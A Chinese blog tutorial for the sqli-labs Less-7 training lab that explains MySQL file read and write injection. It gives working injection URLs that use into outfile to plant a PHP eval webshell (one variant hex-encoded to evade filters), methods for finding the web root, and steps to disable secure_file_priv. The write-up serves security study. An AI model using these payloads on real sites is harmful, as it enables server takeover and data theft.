基于sqli-labs Less-7 的sql高权读写注入详解

1. MySQL高权限读写简介

1.1 前置知识

数据库的高权用户对服务器上的文件进行读取写入操作,从而可以进行写入一句话木马来获得服务器权限或者读取服务器上的配置型文件等注入行为。

select load_file ('d:/w.txt'); # 读取w.txt
select 'xxx' into outfile 'd:/1.txt'; # 将xxx写入1.txt,1.txt不存在则自动创建文件

1.2 读写注入示例

字段数判断和注入点判断略,作信息收集看用户名是root后可以尝试高权注入

/?id=1 union select 1,load_file ('d:/w.txt'),3
/?id=1 union select 1,'xxx',3 into outfile 'd:/1.txt'

注意写路径的时候\的时候要写两个,前一个为转义字符,作用是避免被认为是换行而报错,或者直接写/即可。

1.3 写入后门代码

给出写入后门代码示例

/?id=1 union select 1,'<?php eval($_POST[x]);?>',3 into outfile '当前网站路径/1.php'

如果存在过滤,可以把<?php eval($_POST[x])?>用hex编码一下,不用单引号,即:

/?id=1 union select 1,3c3f706870206576616c28245f504f53545b2778275d293f3e,3 into outfile '当前网站路径/1.php'

1.4 路径获取

load_fileoutfile函数都需要绝对路径,获取网站绝对路径的方法有以下几种:

  1. load_file常用路径直接读取配置文件,得到网站路径
  2. 扫描网站目录,尝试寻找遗留/phpinfo.php的文件
  3. 输入错误信息,看是否会报错返回路径
  4. 爆破路径

2. 黑盒测试

2.1 判断闭合类型

判断闭合类型为((''))

/?id=1' and '1'='1  You are in
/?id=1' --+ 报错

/?id=1') and ('1')=('1 You are in
/?id=1') --+ 报错

/?id=1')) and (('1'))=(('1 You are in
/?id=1')) --+ You are in

2.2 写入后门代码

写入后门代码
注意

  • 如果你的靶场搭在物理机上,后门代码会被windows扫描并删除,并不是上传失败
  • 如果上传失败,可能是secure_file_priv配置问题,请参考第三模块
/?id=1')) union select 1,'<?php eval($_POST[x]);?>',3 into outfile 'E:\\phpstudy\\WWW\\sqli\\Less-7\\1.php'--+

之后利用蚁剑连接后门即可

3. secure_file_priv限制

3.1 secure_file_priv简介

高版本的MYSQL添加了一个新的特性secure_file_privsecure_file_priv 是 MySQL 中用于限制文件操作的系统变量,主要用于控制和限制数据库服务器对文件的访问权限。具体来说,它限制 LOAD DATA INFILESELECT INTO OUTFILE 等语句的操作范围,确保数据库文件操作只能在特定的目录中进行,进而增强系统的安全性。

linux
/etc/my.cnf
	[mysqld]
	secure_file_priv=

win
my.ini
	[mysqld]
	secure_file_priv=
1. secure_file_priv=""                          代表对文件读写没有限制
2. secure_file_priv="NULL"                      代表不能进行文件读写
3. secure_file_priv="d :/phpstudy /mysql/data"  代表只能对该路径下文件进行读写

3.2 修改secure_file_priv配置

在做Less-7时,出现读写注入失败的问题,可能就是由于secure_file_priv禁止了读写
想要知道你的secure_file_priv设置,执行以下sql语句:

SHOW VARIABLES LIKE 'secure_file_priv';

若需要修改secure_file_priv,可以在phpstudy_pro\Extensions\MySQL5.7.26\my.ini[mysqld]模块将它修改为无限制,如果没有secure_file_priv项,可以自行写入。完成后重启mysql服务,应该可以正常解题了。

宇宙安全声明

本博客所提供的内容仅供学习与交流目的,所有文章、代码及相关资料仅用于提升网络安全知识水平。博主不对任何人因使用博客中提到的技术或工具而产生的任何后果负责。